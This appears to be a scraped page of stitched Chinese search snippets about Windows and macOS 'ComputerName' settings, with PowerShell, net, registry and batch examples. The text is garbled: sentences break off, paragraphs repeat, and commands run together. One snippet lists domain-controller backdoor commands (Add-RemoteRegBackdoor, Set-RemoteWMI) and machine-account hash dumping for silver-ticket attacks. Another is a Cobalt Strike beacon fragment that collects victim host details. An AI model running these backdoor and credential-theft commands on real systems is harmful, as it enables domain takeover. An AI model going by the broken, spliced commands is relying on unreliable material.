scutil 可以分别设置 ComputerName、LocalHostName 和 HostName,从而控制显示名称、Bonjour (mDNS,组播域名系统) 名称,以及系统层面的主机名行为。 ComputerName: 面向展示的电脑名称ComputerName 是系统界面中常见的"电脑名称"。他主要用于展示与识别。 ComputerName 支持空格,也支持大写字母。该字段更适合用于可读性较强的名称,例如 USER MACBOOK。 SMB: 显示名称与连接地址可能不同Finder 侧边栏显示的设备名称通常更接近 ComputerName,例如 USER MACBOOK。 他不一定直接读取 ComputerName、LocalHostName 或 HostName。在常见配置中,提示符会使用 hostname 的输出作为主机名显示来源。
New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$passRestart-Computer -ComputerName -ComputerName 10.255.4.137 -Credential $Cred -ForceTAT代码健壮性很重要,其中Administrator前面的. 10.255.4.2 -NewName "ins-bncpvh9p" -LocalCredential $Cred -Force -RestartRename-Computer -ComputerName 10.255.4.31 -NewName "ins-6cw479bj" -LocalCredential $Cred -Force -RestartRename-Computer -ComputerName \administrator" /password:"密码" process call create "powershell.exe -command (Rename-Computer -ComputerName
IPv4/6地址信息以及MAC地址; 基础语法: PS > (Get-Command *-Connection).Name Test-Connection # 语法 Test-Connection [-ComputerName 10.10.10.107 fe80:::fe6c:10bf:4244%15 32 0 # 获取指定的计算机名称相关信息 Test-Connection -ComputerName Server01 -Credential Domain01\Admin01 # 4.使用参数自定义测试命令(发送 256 字节, 32字节 节流阀) Test-Connection -ComputerName WeiyiGeek -Count 3 -Delay 2 -TTL 255 -BufferSize 256 -ThrottleLimit 32 # 5.ComputerName参数的值是一个“Get $job = Test-Connection -ComputerName (Get-Content Servers.txt) -AsJob # “if”命令检查作业是否仍在运行。
/A參数仅能够与 /M [url=file:////ComputerName]//ComputerName[/url]一起使用。 /I 參数功能:显示“远程关机对话框”。 不能将 /L与 /M [url=file:////ComputerName]//ComputerName[/url] 或 /T一起使用。 /M [url=file:////ComputerName]//ComputerName[/url] 參数功能:指定目标计算机。不能与 /I选项一同使用。 2.关闭或重新启动动远程网络计算机 (1) Shutdown /S /M [url=file:////ComputerName]//ComputerName[/url] /D 1:1 等待30秒(默认 (2) Shutdown /R /M [url=file:////ComputerName]//ComputerName[/url] /T 60 /D P:4:2 等待一分钟后才干開始运行已计划的关机后重新启动动
calc | dir 传递进来的属性名称必须与接收命令的参数名称相匹配 通过别名来使对象的属性「Name」保持一致 自定制属性: 例子1、获取adcomputer的Name属性,转换为可被其他命令接受的ComputerName 属性 get-adcomputer –Filter * | select –property name,@{name='computerName' ;expression={$_.name}} name name}} | get-service -name bits 也可以再加一句,以加入一条对应的计算机名 get-adcomputer -Filter * | select -property @{n='ComputerName Get-WmiObject -class win32_bios -computername (get-adcomputer -filter * | select -ExpandPropert y Name) 「Powershell 2.0] Get-WmiObject –class win32_bios –ComputerName (Get-ADComputer –filteer * ).name
foreach (SearchResult r in search.FindAll()) { string computername = ""; computername = r.Properties["cn"][0].ToString(); IPHostEntry hostInfo = Dns.GetHostEntry(computername); foreach (IPAddress result_ip in hostInfo.AddressList ) { Console.WriteLine("HostName:{0} IP:{1}", computername
Registry Editor Version 5.00' regedit2 = r'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName \ComputerName]' regedit3 = r'"ComputerName"="{0}"'.format(repl_host) regedit4 = r'[HKEY_LOCAL_MACHINE }\n{5}'.format(regedit1,regedit2,regedit3,regedit4,regedit5,regedit6) f_name = open('C:\\add\\ComputerName.reg ','w') f_name.write(f_file) f_name.close() os.system('regedit /s C:\\add\\ComputerName.reg
//查看系统更新 Get-CimInstance -ClassName Win32_QuickFixEngineering -ComputerName . //查看所有网络设备 Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter IPEnabled=$true -ComputerName * //查看当前生效的网络设备 Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "DHCPEnabled=$true" -ComputerName System Boot Time') function Get-SystemInfo { param($ComputerName =$env:COMPUTERNAME) $header = 'Hostname File Location(s)','Domain','Logon Server','Hotfix(s)','Network Card(s)' systeminfo.exe /FO CSV /S $ComputerName
对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。 对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。 对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。 对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。 对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。
@echo off net view | find "\\">computername.txt for /f "delims=\ " %%a in (computername.txt) do ( ping -n 1 %%a -4|findstr /i "TTL" >nul&&call :loop "%%a" )>>所有在线的IP地址.txt del computername.txt pause
Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'root\cimv2' DAMP 修改 Add-RemoteRegBackdoor -ComputerName dc.targetdomain.com -Trustee BackdoorUser 我们使用Add-RemoteRegBackdoor.ps1 # Get machine account hash for silver ticket attack Get-RemoteMachineAccountHash -ComputerName DC01 # Get local account hashes Get-RemoteLocalAccountHash -ComputerName DC01 # Get cached credentials (if any) Get-RemoteCachedCredential -ComputerName DC01 DCShadow DCShadow是一种攻击,它通过暂时模仿一个域控制器来掩盖某些行动
# 由于在本地计算机上禁用了远程访问,因此该命令将失败 New-PSSession -ComputerName localhost -ConfigurationName PowerShell.6 # New-PSSession -ComputerName localhost -ConfigurationName powershell.6 -Credential (Get-Credential) # New-PSSession -ComputerName localhost -ConfigurationName powershell.6 -EnableNetworkAccess # Id Name 语法说明: Rename-Computer [-NewName] <System.String> [-ComputerName <System.String>] [-DomainCredential localhost, Server01 # - 2.Restart a remote compute # `Restart Computer`使用ComputerName参数指定Server01。
net view命令的基本格式如下 net view [computername | /domain [:domainname] ] computername 用于指定要查看其共享资源的计算机 /domain net time [computername | /domain [:name]] [/set] “computername” 表示要检查或同步的服务器名。 11. net session 命令 用于列出或断开本地计算机与之连接的客户端的会话,也可写为 net sessions 或 set sess 命令格式 net session [computername ] [/delete] “computername”” 用于标识要列出或断开会话的计算机。 “/delete” 用于结束与“computername” 计算机的会话,并关闭本次会话期间计算机的所有进程。 拒绝访问是因为没有用管理员身份运行 即可。
. $1 . " PID: " . beacon_info($1, "pid")); local('$internalIP $computerName $userName'); $internalIP = replace(beacon_info($1, "internal"), " ", "_"); $computerName = replace(beacon_info($1, "computer $computerName.'%0aUsername : '.$userName.'%0aIpaddres : '.
要指定远程计算机,请包括计算机名(以 \\ComputerName\ 格式表示),并将其作为 KeyName 的一部分。省略 \\ComputerName\ 会导致默认对本地计算机的操作。 要指定远程计算机,请包括计算机名(以\\ComputerName\ 格式表示),并将其作为 KeyName 的一部分。省略 \\ComputerName\ 会导致默认对本地计算机的操作。 要指定远程计算机,请包括计算机名(以 \\ComputerName\ 格式表示),并将其作为 KeyName 的一部分。省略 \\ComputerName\ 会导致默认对本地计算机的操作。 要指定远程计算机,请包括计算机名(以 \\ComputerName\ 格式表示),并将其作为 KeyName 的一部分。省略\\ComputerName\ 会导致默认对本地计算机的操作。 要指定远程计算机,请包括计算机名(以 \\ComputerName\ 格式表示),并将其作为 KeyName 的一部分。省略 \\ComputerName\会导致默认对本地计算机的操作。
[<CommonParameters>] Get-CimClass [[-ClassName] <System.String>] [[-Namespace] <System.String>] [-ComputerName >] [-ResourceUri <System.Uri>] [<CommonParameters>] Get-CimInstance [-ClassName] <System.String> [-ComputerName Server01,Server02 # using CIM session $s = New-CimSession -ComputerName Server01,Server02 Get-CimInstance 10.1.4.62 # 获取远程计算机上的服务 Get-WmiObject Win32_Service -Credential FABRIKAM\administrator -ComputerName Fabrikam # 远程计算机认证 (Get-WmiObject -Class Win32_Service -Filter "name='WinRM'" -ComputerName Server01
System.Security.SecureString # - PowerShell 采用此种方式未复现成功(貌似已不支持-Credential参数) # Get-CimInstance Win32_DiskDrive -ComputerName WeiyiGeek -Credential $cred # Get-CimInstance Win32_BIOS -ComputerName WeiyiGeek -Credential (Get-Credential PS > Set-Item WSMan:localhost\client\trustedhosts -value 10.20.172.106 -Force PS > Invoke-Command -ComputerName 10.20.172.106 {Write-Output "Hello" > d:\helo.txt} -Credential $cred3 PS > Invoke-Command -ComputerName
(2)//computername 指定要查看其共享资源的计算机。 (3)/domain[:domainname]指定要查看其可用计算机的域。 命令格式:net time [//computername | /domain[:name]] [/set] 参数介绍:(1)//computername要检查或同步的服务器名。 (2)//computername标识要列出或断开会话的计算机。 (3)/delete结束与//computername计算机会话并关闭本次会话. 命令格式:net print [//computername ] job# [/hold | /release | /delete] 参数介绍:(1)computername共享打印机队列的计算机名。 命令格式:net computer //computername {/add | /del} 参数介绍:(1)//computername指定要添加到域或从域中删除的计算机。
查看 netdom computername WIN-3E6ECQC3UNJ.xx.com /enumerate 增加 netdom computername WIN-3E6ECQC3UNJ.xx.com 提升 netdom computername WIN-3E6ECQC3UNJ.xx.com /makeprimary:dc002.xx.com ? 删除 netdom computername dc002.xx.com /remove:WIN-3E6ECQC3UNJ.xx.com 删除WIN-3E6ECQC3UNJ.xx.com DNS A记录
(2)\\computername 指定要查看其共享资源的计算机。 (3)/domain[:domainname]指定要查看其可用计算机的域。 命令格式:net time [\\computername | /domain[:name} [/set] 参数介绍: (1)\\computername要检查或同步的服务器名。 (2)\\computername标识要列出或断开会话的计算机。 (3)/delete结束与\\computername计算机会话并关闭本次会话期间计算机的所有. 命令格式:net print [\\computername ] job# [/hold | /release | /delete] 参数介绍: (1)computername共享打印机队列的计算机名 命令格式:net computer \\computername {/add | /del} 参数介绍: (1)\\computername指定要添加到域或从域中删除的计算机。